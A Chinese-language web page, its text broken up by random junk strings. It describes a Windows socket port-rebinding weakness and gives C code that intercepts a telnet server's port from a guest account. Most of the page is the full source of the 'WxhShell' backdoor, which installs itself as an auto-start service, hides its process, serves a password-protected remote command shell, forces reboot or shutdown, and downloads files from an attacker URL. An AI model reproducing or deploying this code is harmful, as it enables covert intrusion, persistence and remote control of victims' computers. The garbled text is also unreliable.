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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IC+Z C s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KotJ,s]B C>Qgd9 saddr.sin_family = AF_INET; ^.,pq?_ ilQR@yp* saddr.sin_addr.s_addr = htonl(INADDR_ANY); Qvs}{h/ ,+P!R0PNH bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o=?sM q1< OA2<jrGB! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 } ab@Nd$ DW@PPvfs 这意味着什么?意味着可以进行如下的攻击: y]9
3z!#Z !8vHN=)z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ys:1%D,,_ `pzp(\lc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?yzhk7j7 ,St#/tu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^AMcZ6!\ qSj2=dlW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _*6nTSL 4H8vB^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z71.5n!C Gvv~P3Dm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i 4
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7
2ux3D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VYkOJAEBg -_.)~)P #include *PE1)bF #include @jO3+ #include j]}A"8=1 #include XodA(73`i DWORD WINAPI ClientThread(LPVOID lpParam); M~w
=ZJ@ int main() v0 |A
N { fM?HZKo WORD wVersionRequested; 0/S|P1!b DWORD ret; BFt?%E/] WSADATA wsaData; n(,b$_JK7 BOOL val; vGO- a2Z SOCKADDR_IN saddr; 8a{S* SOCKADDR_IN scaddr; O=E"n*U int err; ! bbVa/ SOCKET s; yZ?|u57 SOCKET sc; dqwCyYC
int caddsize; ZL[~[ HANDLE mt; Yw7+wc8R DWORD tid; ^Wb|Pl wVersionRequested = MAKEWORD( 2, 2 ); P5 GM s err = WSAStartup( wVersionRequested, &wsaData ); N-*
^V^V if ( err != 0 ) { )IUeWR printf("error!WSAStartup failed!\n"); gBM6{48GF return -1; RC(fhqV } W*A-CkrO saddr.sin_family = AF_INET; !DsKa6Zj }^r=( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xb/L AlJ U~!yGj F saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %|mRib|<C saddr.sin_port = htons(23); #wz1uw[pI! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \uxDMKy { l)y$c}U printf("error!socket failed!\n"); t(3<w)r2 return -1; dH4wyd` } xXG-yh val = TRUE; a1V+doC //SO_REUSEADDR选项就是可以实现端口重绑定的 5IOMc4v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'r`#u@TTZ { Y r3h=XY printf("error!setsockopt failed!\n"); v:otR%yt return -1; p.{9OrH(4 } r&F(VF0
6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W 2/`O? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <>3}<i<[& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eu!B
, 4wp5ghe if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vLQ!kB^\W { bvyX(^I[q ret=GetLastError(); b[+G+V printf("error!bind failed!\n"); E"LSM]^^<f return -1; 3Z?"M } &)F8i#M listen(s,2); =.vc={_? while(1)
rv`kP"I { D0T0Km/" caddsize = sizeof(scaddr); $`7cs}# //接受连接请求 P%#WeQ+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yphru"\$ if(sc!=INVALID_SOCKET) 1rs`|iX5 { 7R9S% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?^TjG)e7 if(mt==NULL) r\6 "mU { IIC1T{D}v printf("Thread Creat Failed!\n"); lwS6"2q break; J:s^F
n } :e9}k5kdk } tK9_]663 CloseHandle(mt); nXjf,J-T } &?~OV:r9 closesocket(s); *>otz5] WSACleanup(); xw?Mc{w return 0;
?xTMmm } q,b6). DWORD WINAPI ClientThread(LPVOID lpParam) dWR0tS6vR` { ,E&PIbDL1 SOCKET ss = (SOCKET)lpParam; SplEY!.k SOCKET sc; gFk~SJd unsigned char buf[4096]; `-)!4oJ] SOCKADDR_IN saddr; x13t@b long num; 8r7}6 DWORD val; u= a5Z4 N' DWORD ret; =`VA_xVu //如果是隐藏端口应用的话,可以在此处加一些判断 ?6h65GO{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 WzM9{c saddr.sin_family = AF_INET; bs-O3w saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .j*muDVQn saddr.sin_port = htons(23); }9n{E-bj * if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ex_Zw+n { F8e]sa$K\ printf("error!socket failed!\n"); t__UqCq~h return -1; nC Mv&{~
} A`E7V}~ val = 100; q}-q[p?
5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -{z.8p}IW { Jt4&%b-T ret = GetLastError(); 6"+/Imb- return -1; nAc02lJh| } S}=d74(/n if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T&.ZeB1 { pk&kJ307 ret = GetLastError(); A?l.(qGC_ return -1; _g+^ jR4 } WfbG }%&J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y02 cX@K6 { -Y]ue*k{ printf("error!socket connect failed!\n"); <~:Lp:6 J closesocket(sc); F
Qtlo+3 closesocket(ss); bn`1JI@S4 return -1; D&5>Op4U } 6nxX~k while(1) F,2)Udim {
VgfA&?4[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5GD6%{\O //如果是嗅探内容的话,可以再此处进行内容分析和记录 .+1.??8:+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sflH{!;p
num = recv(ss,buf,4096,0); Jb'l.xN if(num>0) ZA4NVt.yN send(sc,buf,num,0); SrMg=a else if(num==0) BMlnzi break; 0@w8,x num = recv(sc,buf,4096,0); :r0?[#r?N, if(num>0) )6?(K"T send(ss,buf,num,0); a]NQlsE}l else if(num==0) dZnAdlJ break; P,xI3U<
q } T7f>u}T closesocket(ss); IipG?v0z~ closesocket(sc); e1'<;;; L return 0 ; nS xFz! } >kK;IF9h \!HGkmd x5q5<-# ========================================================== L"Y_:l3"7 56i9V9{2 下边附上一个代码,,WXhSHELL ?yKW^,q+ _yje" ========================================================== Y8I*B=7 ya7/&Z
)0 #include "stdafx.h" g70B22!y r+8%oWj #include <stdio.h> r5ONAa3. #include <string.h> wOH$S=Ba5, #include <windows.h> N*.JQvbnr #include <winsock2.h> zZ3Ko3L%g_ #include <winsvc.h> UEeD Nl$^u #include <urlmon.h> 3nVdws 96fzSZS, #pragma comment (lib, "Ws2_32.lib") r|rOIAo #pragma comment (lib, "urlmon.lib") YEGRM$'` 9I0}:J;7 #define MAX_USER 100 // 最大客户端连接数 ?#|Y'%a" #define BUF_SOCK 200 // sock buffer M7R.?nk #define KEY_BUFF 255 // 输入 buffer J!sIxwF 'bN\8t\S #define REBOOT 0 // 重启 jOs&E^">&B #define SHUTDOWN 1 // 关机 B%95M| x:bJ1% #define DEF_PORT 5000 // 监听端口 0rbMT`Hy # biI=S #define REG_LEN 16 // 注册表键长度 2CX'J8Sy #define SVC_LEN 80 // NT服务名长度 w4YuijhW 9Xw(|22 // 从dll定义API "F/% {0d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BLzlXhHn typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bob K>db typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U8_<?Hd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uW*)B_c /Jz?~H{%n // wxhshell配置信息 ~(4;P%L: struct WSCFG { N%Gb int ws_port; // 监听端口 RJ/4T#b"+ char ws_passstr[REG_LEN]; // 口令 (UWV#AR int ws_autoins; // 安装标记, 1=yes 0=no u~Zx9>f char ws_regname[REG_LEN]; // 注册表键名 U~krv>I char ws_svcname[REG_LEN]; // 服务名 tHezS~t_ char ws_svcdisp[SVC_LEN]; // 服务显示名 g9 .b6}w! char ws_svcdesc[SVC_LEN]; // 服务描述信息 OQt_nb#z`{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '0z-duu int ws_downexe; // 下载执行标记, 1=yes 0=no {j%'EJ5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Dh=?Hzw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m44Ab6gpsb @1_M's; }; ~Rx:X4|H s!*m^zx // default Wxhshell configuration |l)z^V! struct WSCFG wscfg={DEF_PORT, Y%AVC9( "xuhuanlingzhe", &S/@i|_ 1, B5'-v%YO+ "Wxhshell", v8Ga@* "Wxhshell", F91'5D,u0 "WxhShell Service", tOx)t$ix "Wrsky Windows CmdShell Service", |E/r64T "Please Input Your Password: ", `w@8i[2J 1, L;d(|7BVv " http://www.wrsky.com/wxhshell.exe", 5;{Q >n "Wxhshell.exe" p^u;]~JO }; :77dl/d% K.k%Tg[ ~ // 消息定义模块 G:'hT=8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xVOoYr>O char *msg_ws_prompt="\n\r? for help\n\r#>"; fUy:TCS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; SJ(<u2J] char *msg_ws_ext="\n\rExit."; K0hmRR= char *msg_ws_end="\n\rQuit."; X
wvH char *msg_ws_boot="\n\rReboot..."; eEvE3=,hg char *msg_ws_poff="\n\rShutdown..."; y\M]\^[7 char *msg_ws_down="\n\rSave to "; p*F.WxB)4
DEj6 ky char *msg_ws_err="\n\rErr!"; XcfvmlBoD- char *msg_ws_ok="\n\rOK!"; 8G&'ED_& nksx|i l char ExeFile[MAX_PATH];
jQDXl int nUser = 0; .xnJT2uu' HANDLE handles[MAX_USER]; }=.:bwX5 int OsIsNt; Bp
#:sAG Li[ :L SERVICE_STATUS serviceStatus; 0s>ozAJ SERVICE_STATUS_HANDLE hServiceStatusHandle; l]
-mdq/C
_}4l4 // 函数声明 R5_xli% int Install(void); J]|Zh int Uninstall(void); oC"1{ybyl int DownloadFile(char *sURL, SOCKET wsh); 7f!"vhCXM; int Boot(int flag); i8CO+Iv*{ void HideProc(void); 4hRc,Vq int GetOsVer(void); ''Lf6S`4X~ int Wxhshell(SOCKET wsl); \]bAXa{ p void TalkWithClient(void *cs); AUZ^XiK int CmdShell(SOCKET sock); ~.-o* int StartFromService(void); @)"= b!q= int StartWxhshell(LPSTR lpCmdLine); VJp; XM 3[*E>:)qh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ces|HPBa&6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); -?T:> *]p 9 b?Nlk8d // 数据结构和表定义 rUJIf;Zwo SERVICE_TABLE_ENTRY DispatchTable[] = Rn(6Fk? { BO6u<cu"- {wscfg.ws_svcname, NTServiceMain}, j5eX?bi_v {NULL, NULL} oT=XCa5 }; x6-bAf ~!bA<q // 自我安装 }:6$5/? int Install(void) Q]n a_'_ { >M~wFs$~ char svExeFile[MAX_PATH]; :=CRsQAn HKEY key; J.%%]-f=& strcpy(svExeFile,ExeFile); zTP|H5HyK t|/{oAj // 如果是win9x系统,修改注册表设为自启动 d~ m,hCTe if(!OsIsNt) { (c^ZFh2] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >fX_zowX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Tju+KcK RegCloseKey(key); /EW1& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ExJch\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'fIBJ3s[o RegCloseKey(key); YfB8
return 0; m]XG7:}V0 } 5
5$J%;& } =Fu~ 0Wc } m+Um^:\jX else { {`X O3 eaNMcC1 // 如果是NT以上系统,安装为系统服务 R]Iv?)Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G]DSwtB?D if (schSCManager!=0) vh29mzum { ONc-jU^ SC_HANDLE schService = CreateService {Z~5#<t ( gGdt&9z
% schSCManager, 5!tiu4LU wscfg.ws_svcname, 2.6F5&:($ wscfg.ws_svcdisp, "$@Wy,yp SERVICE_ALL_ACCESS, 9/LnO'&- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -FxE!K SERVICE_AUTO_START, JZc"4qf@OT SERVICE_ERROR_NORMAL, d z- svExeFile, RxeyMNd NULL, #KFpT__F NULL, 5:"zs NULL, mmf}6ABYT NULL, -D?-ctFYj^ NULL .YYLMI ); J.t tJOP if (schService!=0) =zetZJg { 0vi)my;! CloseServiceHandle(schService); =Su~iOa CloseServiceHandle(schSCManager); n#\ t_/\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N51g<K strcat(svExeFile,wscfg.ws_svcname); xoT|fgb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e7# B? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .UdoB`@!v= RegCloseKey(key); 1I^uq>r return 0; bOvMXj/HV= } +?&|p0 } pz
uR H1[ CloseServiceHandle(schSCManager); @+iO0?f } :\Pk>a } 8D)I~0\ 6/4?x)l3- return 1; =W*Js %4 } }\-"L/D?+ /a'cP // 自我卸载 I7[F,xci int Uninstall(void) JsDugn ,B { MhaoD5*9 HKEY key; c;M&;'#x Pl9Ky(Q`V if(!OsIsNt) { "{1SDbwmMo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ho_ 2zx:8b RegDeleteValue(key,wscfg.ws_regname); Z` ;.62S RegCloseKey(key); 6Z:swgi6& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ue/GB+U RegDeleteValue(key,wscfg.ws_regname); :)P Aj RegCloseKey(key); KeIk9T13O return 0; cW|M4` } cD!yd^QE } ]TTQ;F } ?J1x'/G else { .5ItH^ d^.@~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kN'.e* if (schSCManager!=0) KcW]"K>p! { r6x"D3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ie<`WU K if (schService!=0) p%?VW { ^o|Gx if(DeleteService(schService)!=0) { vz^w%67& CloseServiceHandle(schService);
)ld !(d= CloseServiceHandle(schSCManager); Gv$}>YJ return 0; :SUU)jLq } p1mY@[A CloseServiceHandle(schService); @ff83Bg } vT&xM CloseServiceHandle(schSCManager); c!2j+ORz } 'TdO6-X } k`u:Cz#aB X
(0`"rjg return 1; L{i,.aE/nO } [=otgVteN" |Nfi y // 从指定url下载文件 .=u8`,sO int DownloadFile(char *sURL, SOCKET wsh) sC ^9 { jQ 'r};; HRESULT hr; >U2[]fu char seps[]= "/"; :VB{@ED char *token; tt%lDr1A) char *file; a2vZ' char myURL[MAX_PATH]; `'gadCTb= char myFILE[MAX_PATH]; 4?vTuZ/
M hG8!aJo strcpy(myURL,sURL); u\uY q token=strtok(myURL,seps); >bo_ while(token!=NULL) 55<f { eX1<zzd file=token; Px$4.b[{_Y token=strtok(NULL,seps); Vw P+tM } <,Z6=M` "F.0(<4) GetCurrentDirectory(MAX_PATH,myFILE); YR\pt8(z? strcat(myFILE, "\\"); $v#\bqY strcat(myFILE, file); VEtdp*ot send(wsh,myFILE,strlen(myFILE),0); MD62ObK! send(wsh,"...",3,0); =;!$Qw4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u5LrZt]k if(hr==S_OK) T*'?;u return 0; %~$P.Zh else w:0=L`<Eu return 1; GmJ4AYEP $!Pm*s } Z}E.s@w i`F8kg`_K // 系统电源模块 #$ Q2ijT0 int Boot(int flag) W
^MF3 { ='p&T|& HANDLE hToken; UmC_C[/n? TOKEN_PRIVILEGES tkp; ,{tK{XpS `RriVYc< if(OsIsNt) { s>VpbJ3S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oU`J~6.&S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l^ Q-KUI tkp.PrivilegeCount = 1; (C=.&',P tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ohod)8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]l~TI8gC if(flag==REBOOT) { S{sJX5R; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x_yQoae
return 0; $^ wqoW%t } "G+g(?N]j else { wVw?UN*rm; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \TF='@u. return 0; @S%ogZz*m } ZjEc\{ s } nB#m?hK else { :|P[u+v if(flag==REBOOT) { Tw{}Ht_Qq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v_7?Zik8E return 0; [J`%iU } O8 \dMb
else { &YU;
K& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u3Qm"? $` return 0; 5,;>b^gXY` } Z/p>>SCak } AxbQN.E C(Bh<c0@ return 1; .h0@Vs } )fRZ}7k: `o;E // win9x进程隐藏模块 I>(3\z4s void HideProc(void) L T.u<ThR} { LrL
ZlJf KO ~_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _(R1En1 if ( hKernel != NULL ) p#yq 'kY { L93PDp4v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Q>gQKgL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LxcC5/@\~( FreeLibrary(hKernel); zFn!>Tqe } PqhR^re0. %O=U|tuc$ return; .o._`"V } h
!yu. v lhN2xg5x // 获取操作系统版本 {Y\W&Edw% int GetOsVer(void) Exy|^Dr0 { nNN~Z'bG OSVERSIONINFO winfo; V5ySOgzw, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T=NF5kj-= GetVersionEx(&winfo); </.9QV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g"F&~y/p return 1; ~g6`Cp` else !b=jD;< return 0; ~o+:M0)} } jgz} Zs$Qo->F // 客户端句柄模块
x+=Ko int Wxhshell(SOCKET wsl) \E!a=cL! { 9ozK}Cg4 SOCKET wsh; 4=Wtv/
3 struct sockaddr_in client; ]WO0v`xh DWORD myID; ,bLHkBK S-4C>gM while(nUser<MAX_USER) s.zfiJ { nz?jNdyz int nSize=sizeof(client); 8n[6BF); wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'pa>;{ if(wsh==INVALID_SOCKET) return 1; EGY'a*]cU G~ldU:
? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @lYm2l^ if(handles[nUser]==0) h8ikM&fl closesocket(wsh); Y%i=u:}fm else ;`{PA
!> nUser++; %/K'VE6pb } fW'@+<b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
C,;hNg[ ]z%X%wL return 0; 5Dhpcgq<< } {D6E@a kwcH$w<I // 关闭 socket "\n,vNk void CloseIt(SOCKET wsh) 0c$0<2D% { aT]G&bR? closesocket(wsh); n{b(~eL? nUser--; ;j#(%U]Vp ExitThread(0); :nt 7jm, } |UGmIm% :cvZk|b% // 客户端请求句柄 w6-A-M6hD void TalkWithClient(void *cs) B5nzkJV<X { qG=>eRR #)qn$&.H SOCKET wsh=(SOCKET)cs; *b$8O char pwd[SVC_LEN]; P$a `8~w char cmd[KEY_BUFF]; gG 9e.++: char chr[1]; zE~{}\J int i,j; XMR$I&;G8 w;=fi}<G|e while (nUser < MAX_USER) { A<1:vV [32]wgw+{1 if(wscfg.ws_passstr) { |<Cz#|
,q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3k#?E]' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ae&i]K; //ZeroMemory(pwd,KEY_BUFF); HB>&}z0 i=0; ir72fSe while(i<SVC_LEN) { yR`X3.:*] 9L`5r$/ // 设置超时 C9,|G7~*q fd_set FdRead; (O$PJLI struct timeval TimeOut; N FVr$?P FD_ZERO(&FdRead); 61XLL/=P FD_SET(wsh,&FdRead); Ve]ufn6 TimeOut.tv_sec=8; zQ&k$l9 TimeOut.tv_usec=0; .tg2HKD_lW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C\Y%FTS: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h~!KNF*XW H}Jdnu| ko if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &gP/<!# pwd =chr[0]; *an^
0 if(chr[0]==0xd || chr[0]==0xa) { L,(H(GeX pwd=0; <wIz8V break; x)wlp{rLf } 5-=&4R\k i++; (}1:]D{)@V } ut<0- i gyTvt! // 如果是非法用户,关闭 socket r
I-A)b4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \$g,Hgp/< } [SJ)4e|) i;CVgdQ8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h^H~q<R[T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v$P<:M M RS8tE( while(1) { q_hkI] d*Wg>8| ZeroMemory(cmd,KEY_BUFF); kF1Tg KSd (oftq!X2 // 自动支持客户端 telnet标准 |8|_^` j=0; L"_l(<g while(j<KEY_BUFF) { ~6<'cun@x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :EkhF6B/ cmd[j]=chr[0]; cE|Z=}4I7 if(chr[0]==0xa || chr[0]==0xd) { c2tf7fkH cmd[j]=0; ^57G]$Q break; V5.=08L } 2;v1YKY j++; cC NyW2' } &F8N$H bh[`uRC} // 下载文件 bzl-|+!yB if(strstr(cmd,"http://")) { z;VAi=m
q send(wsh,msg_ws_down,strlen(msg_ws_down),0); <{z*6FM!' if(DownloadFile(cmd,wsh)) AjW5H* send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<h~jz#hkq else -MCDX^>P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dr54D } oB$P6 else { 4@Q`8N. ! U6 x_ switch(cmd[0]) { Xcy Xju#"p d'x'hp% // 帮助 wa)E.(x case '?': { [!<W{ ($5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M9t`w-@_w break; ::lD7@Wg } wT taj08D // 安装 A#&,S4Wi| case 'i': { h&k*i if(Install()) IwTAM9n send(wsh,msg_ws_err,strlen(msg_ws_err),0); " iz'x-wy else k)a3j{{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vg.K-"yQW break; |e]2 >NjQa } #77p>zhY // 卸载 jQV.U~25Q case 'r': { 5LkpfmR if(Uninstall()) zFFip/z\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); KeGGF]=> else Os5Xejh`I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |})7\o break; ~vL`[JiK } 3SeM:OYq]s // 显示 wxhshell 所在路径 dw"Tv~ case 'p': { TTfU(w%&P char svExeFile[MAX_PATH]; Yu`KHvur strcpy(svExeFile,"\n\r"); ZQVr]/W^r strcat(svExeFile,ExeFile); o)M=; ! send(wsh,svExeFile,strlen(svExeFile),0); /`2t$71) break; g.V{CJ*V } ^wtr~D| // 重启 .*x |TPv{ case 'b': { (Cc!Iw'0M send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d4 r@Gx%BE if(Boot(REBOOT)) nXg:lCI-uu send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ uF$m/g else { x+%(z8wD closesocket(wsh); l)d(N7HME ExitThread(0); x=7qC#+) } Wpdn^=dhL break; 1B5]1&M } zG|#__=T // 关机 d.)%C]W{ case 'd': { e=).0S`*F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mqk[+n if(Boot(SHUTDOWN)) ^T.icSxP send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4&JBm(33N else { H;=JqD8` closesocket(wsh); 5?yc*mOZ ExitThread(0); Xh[02iL- } 7R{(\s\9: break; ($vaj; } b14WIgjsl // 获取shell Ibbpy++d[ case 's': { Z7Gl^4zn CmdShell(wsh); .Jvy0B} B closesocket(wsh); [3~mil3rO ExitThread(0); 0c,)T1NG > break; ~R$Ko(N } pAY[XN // 退出 %z_L}L case 'x': { yf/c send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vr$zYdV> CloseIt(wsh); M#5*gWfq9 break; ?!{nN J } w%NT
0J // 离开 Ia'm9Z* case 'q': { 0\X'a}8Bu send(wsh,msg_ws_end,strlen(msg_ws_end),0); >(9"D8 closesocket(wsh); ?04$1n: WSACleanup(); EYaX@|) exit(1); L*'3f~@Q break; 8YLS/dN0 w } /5s,<
0Kz } Bt?.8H6Y } JKMcdD?' `SN?4;N0 // 提示信息 yJMHm8OB7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q]}1/JZS } hj*Fn } <8?jn*$;\ 2\'5LL3 return; UomO^P } #R#o/@| |E7)s;}D // shell模块句柄 nWzGb2Y int CmdShell(SOCKET sock) |Ox!tvyr { ~|!f6= STARTUPINFO si; mz<wYV* ZeroMemory(&si,sizeof(si)); giNyD4uO si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i4p2]Nr
t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M9J^;3Lrh PROCESS_INFORMATION ProcessInfo; >.}ewz&9o char cmdline[]="cmd"; AY~~ a)V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $(PWN6{\r^ return 0; zB@@Gs> } OpT0V]k^"9 XY*KWO // 自身启动模式 V!3.MQM int StartFromService(void) =#Qm D= { rf:CB&u typedef struct Jemb0Qv { Z^?Y TykH DWORD ExitStatus; >RL|W}tI4 DWORD PebBaseAddress; /U1 jCLR' DWORD AffinityMask; J]=2] oI2 DWORD BasePriority; w?db~"T ULONG UniqueProcessId; >8>}o4Q/X ULONG InheritedFromUniqueProcessId; X"z!52*3] } PROCESS_BASIC_INFORMATION; 7K\H_YY8# OM4q/!)A] PROCNTQSIP NtQueryInformationProcess; w-3 B~e Z"u|-RoBV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @m99xF\e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V1= (^{p8 #]_S)_Z- HANDLE hProcess; 1qgzb PROCESS_BASIC_INFORMATION pbi; (8?5REz w]Fi:kV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _;x7vRWmN if(NULL == hInst ) return 0; FhyA_U%/nF 